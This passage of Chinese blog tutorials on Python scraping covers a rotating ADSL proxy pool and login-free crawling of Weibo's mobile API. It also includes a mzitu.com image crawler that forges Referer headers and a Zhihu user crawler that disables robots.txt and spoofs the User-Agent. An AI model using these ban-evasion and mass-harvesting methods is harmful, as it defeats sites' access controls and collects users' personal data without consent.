远程主机获取请求的token,也就是上面我们所说的通信密钥,保证安全。port是拨号机的代理端口,name是拨号主机的名称。然后我们再获取请求的remote_ip,也就是拨号主机的IP。然后将IP和端口拼合就可以得到拨号主机的完整代理信息了,将其存入数据库即可。

代理检测

在远程主机端我们需要做一下代理检测,如果某个代理不可用了,会及时将其去除,以免出现获取到代理后不可用的情况。

注意:在这里在拨号主机端验证是不够的,因为可能突然遇到某个拨号主机宕机的情况,这样拨号主机就不会再向远程主机发送请求,而最后一次得到的代理还会存在于数据库中,所以在远程主机端统一验证比较科学。

验证方式可以定时检测,也可以每收到一次请求检测一次,用获取到的代理来请求某个网站,检测一下是否能访问即可。如果不能,将其从数据库中删除。

API

远程主机已经将拨号主机的IP和端口保存下来了,那也就是说,所有的可用的代理已经在远程主机保存了,我们需要提供一个接口来将代理获取下来。 比如我们可以提供这么几个方法,获取所有代理,获取最新代理,获取随机代理等等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def all(self):
keys = self.keys()
proxies = [{'name': key, 'proxy': self.get(key)} for key in keys]
return proxies

def random(self):
items = self.all()
return random.choice(items).get('proxy')

def list(self):
keys = self.keys()
proxies = [self.get(key) for key in keys]
return proxies

def first(self):
return self.get(self.keys()[0])

然后用tornado搭建API服务,如果可以的话还可以绑定一个域名,更加便捷,举例如下: 获取随机代理: 获取最新代理: 获取所有代理: 请求接口获取可用代理即可,比如获取一个随机代理:

1
2
3
4
5
6
7
8
9
import requests

def get_random_proxy():
try:
# 远程主机的服务地址
url = 'http://xxx.xxx.xxx.xxx:8000/random'
return requests.get(url).text
except requests.exceptions.ConnectionError:
return None

这样我们拿到的IP都是稳定可用的,而且过段时间重新请求取到的IP就会变化,是一直动态变化的高可用代理。

拨号VPS实现

定时拨号

拨号VPS需要每隔一段时间就拨号一次,我们可以直接执行命令行来拨号,那在Python里我们只需要调用一下这个拨号命令就好了。利用subprocess模块调用脚本即可,在这里定义一个变量ADSL_BASH为adsl-stop;adsl-start,这就是拨号的脚本。

1
2
import subprocess
(status, output) = subprocess.getstatusoutput(ADSL_BASH)

通过getstatusoutput方法可以获取脚本的执行状态和输出结果,如果status为0,则证明拨号成功,然后检测一下拨号接口是否获取了IP地址。 执行ifconfig命令可以获取当前的IP,我这台主机接口名称叫做ppp0,当然网卡名称可以自己指定,所以将ppp0接口的IP提取出来即可。

1
2
3
4
5
6
7
8
def get_ip(self, ifname=ADSL_IFNAME):
(status, output) = subprocess.getstatusoutput('ifconfig')
if status == 0:
pattern = re.compile(ifname + '.*?inet.*?(\d+\.\d+\.\d+\.\d+).*?netmask', re.S)
result = re.search(pattern, output)
if result:
ip = result.group(1)
return ip

如果方法正常返回IP,则证明IP存在,拨号成功,接下来向远程主机发送请求即可,然后sleep一段时间重新再次拨号。 如果方法返回的值为空,那证明IP不存在,我们需要重新拨号。

请求远程主机

发送的时候需要携带这么几个信息,一个是通信秘钥,一个是代理端口,另一个是主机的标识符,用requests发送即可。

1
requests.post(SERVER_URL, data={'token': TOKEN, 'port': PROXY_PORT, 'name': CLIENT_NAME})

所以整体的思路实现可以写成这样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def adsl(self):
while True:
print('ADSL Start, Please wait')
(status, output) = subprocess.getstatusoutput(ADSL_BASH)
if status == 0:
print('ADSL Successfully')
ip = self.get_ip()
if ip:
print('New IP', ip)
try:
requests.post(SERVER_URL, data={'token': TOKEN, 'port': PROXY_PORT, 'name': CLIENT_NAME})
print('Successfully Sent to Server', SERVER_URL)
except ConnectionError:
print('Failed to Connect Server', SERVER_URL)
time.sleep(ADSL_CYCLE)
else:
print('Get IP Failed')
else:
print('ADSL Failed, Please Check')
time.sleep(1)

这样我们就可以做到定时拨号并向远程主机发送请求了。

代码

Talk is cheap, show me the code! 在这里提供一份完整代码实现,其中client模块是在动态VPS主机运行,server模块在远程主机运行,具体的操作使用可以参考README。 ADSLProxyPool

Python

现在维护着一个新浪微博爬虫,爬取量已经5亿+,使用了Scrapyd部署分布式。 Scrapyd运行时会输出日志到本地,导致日志文件会越来越大,这个其实就是Scrapy控制台的输出。但是这个日志其实有用的部分也就是最后那几百行而已,如果出错,去日志查看下出错信息就好了。 所以现在可以写一个脚本,来定时更新日志文件,将最后的100行保存下来就好了。 Scrapyd默认的日志目录是在用户文件夹下的logs目录。 所以在这里我们指定dir=~/logs 新建bash脚本,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

clean() {
for file in $1/*
do
if [ -d $file ]
then
clean $file
else
echo $file
temp=$(tail -100 $file)
echo "$temp" > $file
fi
done
}

dir=~/logs
clean $dir

新建这样的一个脚本,然后命名为 clean.sh,我的直接放在了用户文件夹下。 然后crontab创建定时任务。 执行

1
crontab -e

我们想要一分钟清理一次日志文件。 输入

1
*/1 * * * * /bin/sh ~/clean.sh

然后退出之后,crontab就可以每隔一分钟执行一次clean.sh,清理日志了。 这样我们就不怕日志文件大量占用主机空间啦~

Python

我的 GITHUB 地址:https://github.com/xiaosimao/weibo_spider 2017.05.04 更新: 感谢哥本哈根小树对于获取 containnerid 的指教,多谢。

大家好,我是新人四毛,大家可以叫我小四毛,至于为什么,在家排行老四,农村人,就是那么任性。

好,自我介绍完毕,开始今天的学(zhuang)习(bi)之路。

说明:本文针对的是有一些爬虫基础的同学,所以看不太懂的同学先补一下基础。

本文的全部代码并没有上传到 GITHUB 中,而且本文的 code 部分给出的代码也是指导性的,大部分还是要靠大家自己动手完成。待后几篇博客出来以后,代码会放到上面。

大家如果有问题交流的话,欢迎在下面进行评论,或者可以加我 QQ:549411552(加的话麻烦注明来自静觅),欢迎大佬拍砖指错,大家共同进步。

前几天,大才发布了一个视频,主要讲的是通过维护一个新浪微博 Cookies 池,抓取新浪微博的相关数据,爬取的站点是 weibo.cn。相关的代码在大才的 Github 里【大才的视频教程真的很用心,视频高清无码,希望大家可以支持大才,毕竟写了那么多精彩的教程真心不易】。

然而,如果你只是想简单的搞点数据,对技术一点兴趣都没有,又或者某宝搜来搜去都没有买到账号,又或者装个模拟登陆需要的模块都想跳楼,有没有除此之外其他的办法呢?你有没有想过在免登陆的情况下就可以获得你想要的数据呢?如果你这么想过而又没有做出来,那么接下来,让我们一起搞(qi)事(fei)吧。

本文重点提供解决问题的思路,会把最关键的点标示出来,代码基本没有。有什么不对或不足之处,还望大家指出,共同进步。

1.前期准备

代理 IP。虽说本文介绍的方法不需要 Cookies,但是代理 IP 还是需要的,要不然也是被新浪分分钟的 403(我测试的时候会出现)。如果你连 403 都不知道是什么,那么还是去看看大才的爬虫基础课程,或者不想看文字的话直接来报大才的视频课程课,哈哈(大才,今晚得加两个菜啊,我这吆喝的)。

2.思路分析

一般做爬虫爬取网站,首选的都是 m 站,其次是 wap 站,最后考虑 PC 站。当然,这不是绝对的,有的时候 PC 站的信息最全,而你又恰好需要全部的信息,那么 PC 站是你的首选。一般 m 站都以 m 开头后接域名,试一下 就好了,实在找不到,上网搜。

所以本文开搞的网址就是 m.weibo.cn。但是当你在浏览器中输入这个网址时,你得到的应该是下面这个页面,如果不是,说明你的浏览器保留了你最近登录微博的 cookie,这个时候,清空浏览器保存的数据,再次打开这个网页,就应该也是这个界面了:

我滴天,是的,你没看错,就是这个登录界面。你不是说不需要登录吗?怎么 TM 的还是这个万恶的界面?怎么破?WTF?

哈哈,其实一开始我也不知道,后来经人指点,才发现只要在后面加入一些东西之后就不会看到这个界面了。那么是什么呢?

当当当当!!!!!!!!!!

http://m.weibo.cn/u/1713926427

当你看到这个网址的时候,憋说话,一定要用心去感受,这个时候说话你的嘴都是咧着的,别问我为什么知道,我就是知道。

用心去感受,真的。

对了,上面网址最后的数字是博主的数字 ID,在 weibo.com 的源码里可以找到,这里不做说明了。

打开上述网址, 界面变成这个样子,是不是很厉害的样子(大手勿喷),拨云见日,对于老手来说,下面的他们就可以不看了,可以去抓包写代码了,但是对于一头雾水的小伙伴请接着往下看:

这就是本文爬虫的入口,没错,就说牛逼的榜姐,入口选一些质量高的,比如你想爬新闻方面信息,那么你就去找澎湃新闻,新浪新闻之类的。

通过该入口,我们可以抓取该博主的所有微博及评论信息,以及该博主关注的人的微博及评论信息,依次往后,循环不断。

在这里谈一点经验:

其实做爬虫,最基础的当然是写代码的能力,抓包什么的都不是什么困难的事,抓包很简单很简单。我觉得最难的是找到入口,找到一个最适合的入口。怎么定义这个最适合呢?就是要去尝试,依照一般的顺序,先找找 M 站,再找找 wap 站,最后再去看 PC 站,找到一个合适的入口,往往会事半功倍。前几天抓取途牛网的相关游记信息,爬 PC 站分分钟的 302,但是爬 M 站,全是接口,全程无阻。

因大多数人都是采集微博信息以及评论信息,所以下面将以这两方面为主。

剧透一下,在这里可以抓到的信息:

(1) 博主信息 (没发现有价值的信息,下面抓包过程不讲)

(2) 博主微博信息(下文抓包讲解)

(3) 微博评论信息(下文抓包讲解)

(4) 热门微博信息(小时榜,日榜,周榜,月榜)(下文抓包未讲解,大家可以摸索一下)

。。。。。。还有很多我没有细看,等待各位细细研究吧。

3. 抓包分析

首先,得会抓包,一般的浏览器的 Network 够用了。

(1) 微博正文抓包

点击 上图中的微博然后往下拉,抓包出现下图:

分析:

可以看到,服务器返回的数据为 json 格式,这个是做爬虫的最喜欢的了。返回的数据包括很多的字段,图中也以及做了标示,相信大家都能看的懂,看不懂那也没办法了。

最后放上抓包的数据:

  1. Request URL:

    http://m.weibo.cn/api/container/getIndex?type=uid&value=1713926427&containerid=1076031713926427&page=2

  2. Request Method:

    GET

  3. Query String Parameters

    type: uid

    value: 1713926427

    containerid: 1076031713926427

    page: 2

(2) 微博评论抓包

单击微博内容,就可以抓包成功,如下图:

分析:

从上面可以看出,这里的数据依然还是很好获取的。

最后放上抓包的数据:

  1. Request URL:

    http://m.weibo.cn/api/comments/show?id=4103388327019042&page=1

  2. Request Method:

    GET

  3. Query String Parameters

    id: 4103388327019042

    page: 1

再次分析:

通过抓包的数据可以发现,获取微博评论必须首先获得这条微博的 ID。所以,目前还是要对微博正文的抓包过程进行分析。

4. 思路解析

在上面的微博正文中发现需要提交以下数据:

type: uid

value: 1713926427

containerid: 1076031713926427

page: 2

其中:type(固定值)、value(博主微博 ID)、containerid(意义不明确,但是带了个 id 在里面,应该代表的是一个唯一性的一个标识)、page(页码)。页码在返回的数据中可以获得。

那么分析到这里,containerid 就是我们要找的最重要的信息。这个字段信息是不会凭空出现的,肯定产生于某一个请求之中,所以这时候,我们再回到开头,回到我们的初始。刷新入口网址,抓包发现了下面 3 个网址,见下图:

分析:

这 3 个网址的格式一模一样,所以点进去看一下里面到底什么情况。

下面的先点开网址 1看看:

分析:

从返回的数据中,可以看到第 1 个网址的主要内容为 user_Info,即博主的个人信息,相关的字段在图中已经标示出来。最令人惊喜的是查找我们需要的 containerid 时,发现数据竟然就在其中,那么可以肯定我们需要的 containerid 就是在这个请求的返回值中,那么问题再次出现,这个请求的网址中又出现了一个 containerid,我们似乎又回到了原点,而且在用户的首页抓包中,在这个请求之前,也没有什么有意义的请求了,到这里是不是就进入死胡同了呢?其实不然,在这里我们就要进行多方面的尝试了,当我们将第一个网址中的 containerid 删掉以后,重新请求一次,发现返回的依然是这些数据,具体见下图:

分析:

而当我将第三个网址,也就是微博正文的网址中的 containerid 去掉后,返回的数据就是博主的个人信息了,而不是我们需要的微博正文,所以可以肯定第一个网址中的 containerid 并不是必须的,而对于网址 3,这个字段则是必须的。

为了让这个爬虫可以顺着一个初始用户爬取到其他用户的相关信息,甚至全网的信息,那么我们就需要让爬虫自己去添加待爬任务。本文选择的初始用户有 3000 多万的粉丝数,就是人们常说的微博大 V。在做这一类的信息爬取时,我们往往关注的是数据的质量,所以我们选择初始用户的关注用户作为下一级的用户。在下一级中,这些用户将被作为初始用户。这样周而复始,最理想的情况当然就是可以把微博全站的质量还不错的博主的微博以及下面的评论都抓取了。但是在实际的操作过程中会发现微博的用户质量真的是参差不齐,所以我们在筛选后面的用户时,可以加一些限制条件,如用户的粉丝数等等。在这里找寻初始用户关注用户信息的这一过程就省略了,留给大家探索一下,很简单。

所以到这里,我们的整个流程就理清了(单个博主,如需循环,则只需要找到下一级用户的 ID 即可,相信这对于聪明的大家肯定不难的):

请求用户主页网址—>得到 containerid,请求微博正文网址—>保存博文相关信息,取出博文 ID,请求评论网址—>得到评论信息

5. CODE TIME

思路已经理清了,那么下面就是 CODE TIME 了,毕竟:

TALK IS CHEAP,SHOW ME YOUR CODE

本文采用 scrapy 编写,重写个 proxy 中间件,即可实现每一个 request 带一个随机 IP,减少被封禁的概率,同时尽量把重试的次数设置大一些。

想要保存哪些信息,根据自身的业务需求而定,具体的信息,能找到的都可以在每一个请求返回的内容中找到,都是 json 格式的,所以这里的代码只是将上面讲的流程实现了一遍,其他的都没有实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import scrapy
import json

class SinaSpider(scrapy.Spider):
name = "sina"
allowed_domains = ["m.weibo.cn"]
# root id
first_id = '1713926427'

def start_requests(self):
# to get containerid
url = 'http://m.weibo.cn/api/container/getIndex?type=uid&value={}'.format(self.first_id)
yield scrapy.Request(url=url, callback=self.get_containerid)

def get_containerid(self,response):
content = json.loads(response.body)
# here, we can get containerid
containerid = None
for data in content.get('tabsInfo').get('tabs'):
if data.get('tab_type') == 'weibo':
containerid = data.get('containerid')
print 'weibo request url containerid is %s' % containerid

# construct the wei bo request url
if containerid:
weibo_url = response.url + '&containerid=%s'%containerid
yield scrapy.Request(url=weibo_url, callback=self.get_weibo_id)
else:
print 'sorry, do not get containerid'

def get_weibo_id(self, response):
content = json.loads(response.body)
# get weibo id ,you can also save some other data if you need
for data in content.get('cards'):
if data.get('card_type') == 9:
single_weibo_id = data.get('mblog').get('id')
print single_weibo_id
# here ,if you want to get comment info ,you can construct the comment url just the same as wei bo url

6.总结

本文写到这里就算结束了,我一直信奉授人以鱼不如授人以渔,在这篇文章中,我并没有把全部的代码展示出来,而是通过分析的过程来让大家知道怎么去处理这类问题,在文中也留了好几个可以让大家发挥的地方,如用户关注用户怎么获取?按照关键词搜索的信息怎么抓取?等等。我相信大家通过一步步的抓包以及分析一定可以解决这些问题的。这些问题,在以后的博客中我也会继续更新的。

第一次写这样的博客,感觉还是驾驭不了,还是得多多练习。写博客真的很累,向大才致敬,感谢他无私的为我们奉献了这么多精彩的教程。

Python

PS: 爬虫不进入 img_url 函数的小伙伴儿 请尝试将将代码复制到你新建的 py 文件中。 2017/8/30 更新解决了网站防盗链导致下载图片失败的问题 这几天一直有小伙伴而给我吐槽说,由于妹子图站长把www.mzitu.com/all这个地址取消了。导致原来的那个采集爬虫不能用啦。 正好也有小伙伴儿问 Scrapy 中的图片下载管道是怎么用的。 就凑合在一起把 mzitu.com 给重新写了一下。 首先确保你的 Python 环境已安装 Scrapy!!!!!!!! 命令行下进入你需要存放项目的目录并创建项目: 比如我放在了 D:\PycharmProjects

1
2
3
D:
cd PycharmProjects
scrapy startproject mzitu_scrapy

我是 Windows!其余系统的伙伴儿自己看着办哈。 这都不会的小伙伴儿,快去洗洗睡吧。养足了精神从头看一遍教程哈! 在 PyCharm 中打开我们的项目目录。 在 mzitu_scrapy 目录创建 run.py。写入以下内容:

1
2
from scrapy.cmdline import execute
execute(['scrapy', 'crawl', 'mzitu'])

其中的 mzitu 就为待会儿 spider.py 文件中的 name 属性。这点请务必记住哦!不然是跑不起来的。 在 mzitu_scrapy\spider 目录中创建 spider.py。文件作为爬虫文件。 好了!现在我们来想想,怎么来抓 mzitu.com 了。 首先我们的目标是当然是全站的妹子图片!!! 但是问题来了,站长把之前那个 mzitu.com\all 这个 URL 地址给取消了,我们没办法弄到全部的套图地址了! 我们可以去仔细观察一下站点所有套图的地址都是:http://www.mzitu.com/几位数字结尾的。 这种格式地址。 有木有小伙伴儿想到了啥? CrawlSpider !!!就是这玩儿!! 有了它我们就能追踪“http://www.mzitu.com/几位数字结尾的”这种格式的URL了。 Go Go Go Go!开始搞事。 首先在 item.py 中新建我们需要的字段。我们需要啥?我们需要套图的名字和图片地址!! 那我们新建三个字段:

1
2
3
4
5
6
7
8
9
10
import scrapy


class MzituScrapyItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()
name = scrapy.Field()
image_urls = scrapy.Field()
url = scrapy.Field()
pass

第一步完成啦!开始写 spider.py 啦! 首先导入我们需要的包:

1
2
3
4
from scrapy import Request
from scrapy.spider import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from mzitu_scrapy.items import MzituScrapyItem

都是干啥的我不说了哈!不知道的小伙伴儿自己去翻翻官方文档。 接下来是:

1
2
3
4
5
6
7
8
class Spider(CrawlSpider):
name = 'mzitu'
allowed_domains = ['mzitu.com']
start_urls = ['http://www.mzitu.com/']
img_urls = []
rules = (
Rule(LinkExtractor(allow=('http://www.mzitu.com/\d{1,6}',), deny=('http://www.mzitu.com/\d{1,6}/\d{1,6}')), callback='parse_item', follow=True),
)

第五行的 img_urls=[] 这个列表是我们之后用来存储每个套图的全部图片的 URL 地址的。 rules 中的语句是:匹配http://www.mzitu.com/1至6位数的的URL(\\d:数字;{1,6}匹配1至6次。就能匹配出1到6位数) 但是我们会发现网页中除了http://www.mzitu.com/XXXXXXX 这种格式的 URL 之外;还有 http://www.mzitu.com/XXXX/XXXX 这个格式的 URL。所以我们需要设置 deny 来不匹配http://www.mzitu.com/XXXX/XXXX这种格式的URL。 然后将匹配到的网页交给 parse_item 来处理。并且持续追踪 看这儿敲黑板!!划重点!!:::

重点说明!!!!不能 parse 函数!!这是 CrawlSpider 进行匹配调用的函数,你要是使用了!rules 就没法进行匹配啦!!!

现在 spider.py 是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from scrapy import Request
from scrapy.spider import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from mzitu_scrapy.items import MzituScrapyItem


class Spider(CrawlSpider):
name = 'mzitu'
allowed_domains = ['mzitu.com']
start_urls = ['http://www.mzitu.com/']
img_urls = []
rules = (
Rule(LinkExtractor(allow=('http://www.mzitu.com/\d{1,6}',), deny=('http://www.mzitu.com/\d{1,6}/\d{1,6}')), callback='parse_item', follow=True),
)


def parse_item(self, response):
print(response.url)

来跑一下试试 别忘了怎么测试的哈!!上面新建的那个 run.py! Good!!真棒!全是我们想要的!!! 现在干啥?啥?你不知道?EXM 你没逗我吧! 当然是解析我们拿到的 response 了!从里面找我们要的套图名称和所有的图片地址了! 我们随便打开一个 URL。 首先用 xpath 取套图名称: 啥?你不知道怎么用 xpath??少年少女 你走吧。出去别说看过我的博文。 ./*//div[@class=’main’]/div[1]/h2/text() 这段 xpath 就是套图名称的 xpath 了!看不懂的少年少女赶快去http://www.w3school.com.cn/看看xpath的教程! 当然你直接用 Chrome 拷贝出来的那个 xpath 也行。(有一定的概率不能使) 现在来找图片地址了,怎么找我在 小白爬虫第一弹中已经写过了哈!这就不详细赘述了! 首先找到每套图有多少张图片: 就是红框中的那个东东。 Xpath 这样写:

1
descendant::div[@class='main']/div[@class='content']/div[@class='pagenavi']/a[last()-1]/span/text()

意思是选取根节点下面所有后代标签,在其中选取出 div[@class=’main’]下面的 div[@class=’content’]下面的/div[@class=’pagenavi’]下面的倒数第二个 a 标签 下面的 span 标签中的文本。(有点长哈哈哈哈哈!其实还可以短一些,我懒就不改了) 然后循环拼接处每张图片的的网页地址,现在 spider.py 是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from scrapy import Request
from scrapy.spider import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from mzitu_scrapy.items import MzituScrapyItem


class Spider(CrawlSpider):
name = 'mzitu'
allowed_domains = ['mzitu.com']
start_urls = ['http://www.mzitu.com/']
img_urls = []
rules = (
Rule(LinkExtractor(allow=('http://www.mzitu.com/\d{1,6}',), deny=('http://www.mzitu.com/\d{1,6}/\d{1,6}')), callback='parse_item', follow=True),
)


def parse_item(self, response):
"""
:param response: 下载器返回的response
:return:
"""
item = MzituScrapyItem()
# max_num为页面最后一张图片的位置
max_num = response.xpath("descendant::div[@class='main']/div[@class='content']/div[@class='pagenavi']/a[last()-1]/span/text()").extract_first(default="N/A")
item['name'] = response.xpath("./*//div[@class='main']/div[1]/h2/text()").extract_first(default="N/A")
for num in range(1, int(max_num)):
# page_url 为每张图片所在的页面地址
page_url = response.url + '/' + str(num)
yield Request(page_url, callback=self.img_url)

extract_first(default=”N/A”)的意思是:取 xpath 返回值的第一个元素。如果 xpath 没有取到值,则返回 N/A 然后调用函数 img_url 来提取每个网页中的图片地址。img_url 长这样:

1
2
3
4
5
6
7
8
def img_url(self, response,):
"""取出图片URL 并添加进self.img_urls列表中
:param response:
:param img_url 为每张图片的真实地址
"""
img_urls = response.xpath("descendant::div[@class='main-image']/descendant::img/@src").extract()
for img_url in img_urls:
self.img_urls.append(img_url)

descendant::div[@class=’main-image’]/descendant::img/@src 这段 xpath 取出 div[@class=’main-image’]下面所有的 img 标签的 src 属性(有的套图一个页面有好几张图) .extract()不跟上[0]返回的是列表 完整的 spider.py 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from scrapy import Request
from scrapy.spider import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from mzitu_scrapy.items import MzituScrapyItem


class Spider(CrawlSpider):
name = 'mzitu'
allowed_domains = ['mzitu.com']
start_urls = ['http://www.mzitu.com/']
img_urls = []
rules = (
Rule(LinkExtractor(allow=('http://www.mzitu.com/\d{1,6}',), deny=('http://www.mzitu.com/\d{1,6}/\d{1,6}')), callback='parse_item', follow=True),
)


def parse_item(self, response):
"""
:param response: 下载器返回的response
:return:
"""
item = MzituScrapyItem()
# max_num为页面最后一张图片的位置
max_num = response.xpath("descendant::div[@class='main']/div[@class='content']/div[@class='pagenavi']/a[last()-1]/span/text()").extract_first(default="N/A")
item['name'] = response.xpath("./*//div[@class='main']/div[1]/h2/text()").extract_first(default="N/A")
item['url'] = response.url
for num in range(1, int(max_num)):
# page_url 为每张图片所在的页面地址
page_url = response.url + '/' + str(num)
yield Request(page_url, callback=self.img_url)
item['image_urls'] = self.img_urls
yield item


def img_url(self, response,):
"""取出图片URL 并添加进self.img_urls列表中
:param response:
:param img_url 为每张图片的真实地址
"""
img_urls = response.xpath("descendant::div[@class='main-image']/descendant::img/@src").extract()
for img_url in img_urls:
self.img_urls.append(img_url)

下面开始把图片弄回本地啦!! 开写我们的 pipelines.py 首先根据官方文档说明我们如果需要使用图片管道 则需要使用 ImagesPipeline: 我们可以依葫芦画瓢写一个。但是这样有一个很麻烦的问题就是,这样下载下来的图片没有分类,很是难看啊! 所以 我们需要重写一下 ImagesPipeline 中的 file_path 方法! 具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding: utf-8 -*-

# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
from scrapy import Request
from scrapy.pipelines.images import ImagesPipeline
from scrapy.exceptions import DropItem
import re


class MzituScrapyPipeline(ImagesPipeline):

def file_path(self, request, response=None, info=None):
"""
:param request: 每一个图片下载管道请求
:param response:
:param info:
:param strip :清洗Windows系统的文件夹非法字符,避免无法创建目录
:return: 每套图的分类目录
"""
item = request.meta['item']
folder = item['name']
folder_strip = strip(folder)
image_guid = request.url.split('/')[-1]
filename = u'full/{0}/{1}'.format(folder_strip, image_guid)
return filename

def get_media_requests(self, item, info):
"""
:param item: spider.py中返回的item
:param info:
:return:
"""
for img_url in item['image_urls']:
referer = item['url']
yield Request(img_url, meta={'item': item,
'referer': referer})


def item_completed(self, results, item, info):
image_paths = [x['path'] for ok, x in results if ok]
if not image_paths:
raise DropItem("Item contains no images")
return item

# def process_item(self, item, spider):
# return item

def strip(path):
"""
:param path: 需要清洗的文件夹名字
:return: 清洗掉Windows系统非法文件夹名字的字符串
"""
path = re.sub(r'[?\*|“<>:/]', '', str(path))
return path




if __name__ == "__main__":
a = '我是一个?*|“<>:/错误的字符串'
print(strip(a))

写一个中间件来处理图片下载的防盗链:

1
2
3
4
5
6
7
8
9
10
11
class MeiZiTu(object):

def process_request(self, request, spider):
'''设置headers和切换请求头
:param request: 请求体
:param spider: spider对象
:return: None
'''
referer = request.meta.get('referer', None)
if referer:
request.headers['referer'] = referer

最后一步设置 ImagesPipeline 的存储目录! 在 settings.py 中写入:

1
IMAGES_STORE = 'F:\mzitu\\'

则 ImagesPipeline 将所有下载的图片放置在此目录下! 设置图片实效性: 图像管道避免下载最近已经下载的图片。使用 FILES_EXPIRES (或 IMAGES_EXPIRES) 设置可以调整失效期限,可以用天数来指定: 在 settings.py 中写入以下配置。

1
2
# 30 days of delay for images expiration
IMAGES_EXPIRES = 30

settings.py 中开启 item_pipelines:

1
2
3
ITEM_PIPELINES = {
'mzitu_scrapy.pipelines.MzituScrapyPipeline': 300,
}

settings.py 中开启 DOWNLOADER_MIDDLEWARES

1
2
3
DOWNLOADER_MIDDLEWARES = {
'mzitu_scrapy.middlewares.MeiZiTu': 543,
}

如果你需要缩略图之类的请参考官方文档: 将其写入 settings.py 文件中。 至此完毕!!! 来看看效果: 下载速度简直飞起!!友情提示:请务必配置代理哦! 可以参考大才哥的http://cuiqingcai.com/3443.html做一个代理,就不需要重写Scrapy中间件啦!更能避免费代理总是不能用的坑爹行为。 总之省事省时又省心啊! github 地址:https://github.com/thsheep/mzitu_scrapy

Python

本节分享一下爬取知乎用户信息的Scrapy爬虫实战。

本节目标

本节要实现的内容有:

  • 从一个大V用户开始,通过递归抓取粉丝列表和关注列表,实现知乎所有用户的详细信息的抓取。
  • 将抓取到的结果存储到MongoDB,并进行去重操作。

思路分析

我们都知道每个人都有关注列表和粉丝列表,尤其对于大V来说,粉丝和关注尤其更多。 如果我们从一个大V开始,首先可以获取他的个人信息,然后我们获取他的粉丝列表和关注列表,然后遍历列表中的每一个用户,进一步抓取每一个用户的信息还有他们各自的粉丝列表和关注列表,然后再进一步遍历获取到的列表中的每一个用户,进一步抓取他们的信息和关注粉丝列表,循环往复,不断递归,这样就可以做到一爬百,百爬万,万爬百万,通过社交关系自然形成了一个爬取网,这样就可以爬到所有的用户信息了。当然零粉丝零关注的用户就忽略他们吧~ 爬取的信息怎样来获得呢?不用担心,通过分析知乎的请求就可以得到相关接口,通过请求接口就可以拿到用户详细信息和粉丝、关注列表了。 接下来我们开始实战爬取。

环境需求

Python3

本项目使用的Python版本是Python3,项目开始之前请确保你已经安装了Python3。

Scrapy

Scrapy是一个强大的爬虫框架,安装方式如下:

1
pip3 install scrapy

MongoDB

非关系型数据库,项目开始之前请先安装好MongoDB并启动服务。

PyMongo

Python的MongoDB连接库,安装方式如下:

1
pip3 install pymongo

创建项目

安装好以上环境之后,我们便可以开始我们的项目了。 在项目开始之首先我们用命令行创建一个项目:

1
scrapy startproject zhihuuser

创建爬虫

接下来我们需要创建一个spider,同样利用命令行,不过这次命令行需要进入到项目里运行。

1
2
cd zhihuuser
scrapy genspider zhihu www.zhihu.com

禁止ROBOTSTXT_OBEY

接下来你需要打开settings.py文件,将ROBOTSTXT_OBEY修改为False。

1
ROBOTSTXT_OBEY = False

它默认为True,就是要遵守robots.txt 的规则,那么 robots.txt 是个什么东西呢? 通俗来说, robots.txt 是遵循 Robot 协议的一个文件,它保存在网站的服务器中,它的作用是,告诉搜索引擎爬虫,本网站哪些目录下的网页 不希望 你进行爬取收录。在Scrapy启动后,会在第一时间访问网站的 robots.txt 文件,然后决定该网站的爬取范围。 当然,我们并不是在做搜索引擎,而且在某些情况下我们想要获取的内容恰恰是被 robots.txt 所禁止访问的。所以,某些时候,我们就要将此配置项设置为 False ,拒绝遵守 Robot协议 ! 所以在这里设置为False。当然可能本次爬取不一定会被它限制,但是我们一般来说会首先选择禁止它。

尝试最初的爬取

接下来我们什么代码也不修改,执行爬取,运行如下命令:

1
scrapy crawl zhihu

你会发现爬取结果会出现这样的一个错误:

1
500 Internal Server Error

访问知乎得到的状态码是500,这说明爬取并没有成功,其实这是因为我们没有加入请求头,知乎识别User-Agent发现不是浏览器,就返回错误的响应了。 所以接下来的一步我们需要加入请求headers信息,你可以在Request的参数里加,也可以在spider里面的custom_settings里面加,当然最简单的方法莫过于在全局settings里面加了。 我们打开settings.py文件,取消DEFAULT_REQUEST_HEADERS的注释,加入如下的内容:

1
2
3
DEFAULT_REQUEST_HEADERS = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'
}

这个是为你的请求添加请求头,如果你没有设置headers的话,它就会使用这个请求头请求,添加了User-Agent信息,所以这样我们的爬虫就可以伪装浏览器了。 接下来重新运行爬虫。

1
scrapy crawl zhihu

这时你就会发现得到的返回状态码就正常了。 解决了这个问题,我们接下来就可以分析页面逻辑来正式实现爬虫了。

爬取流程

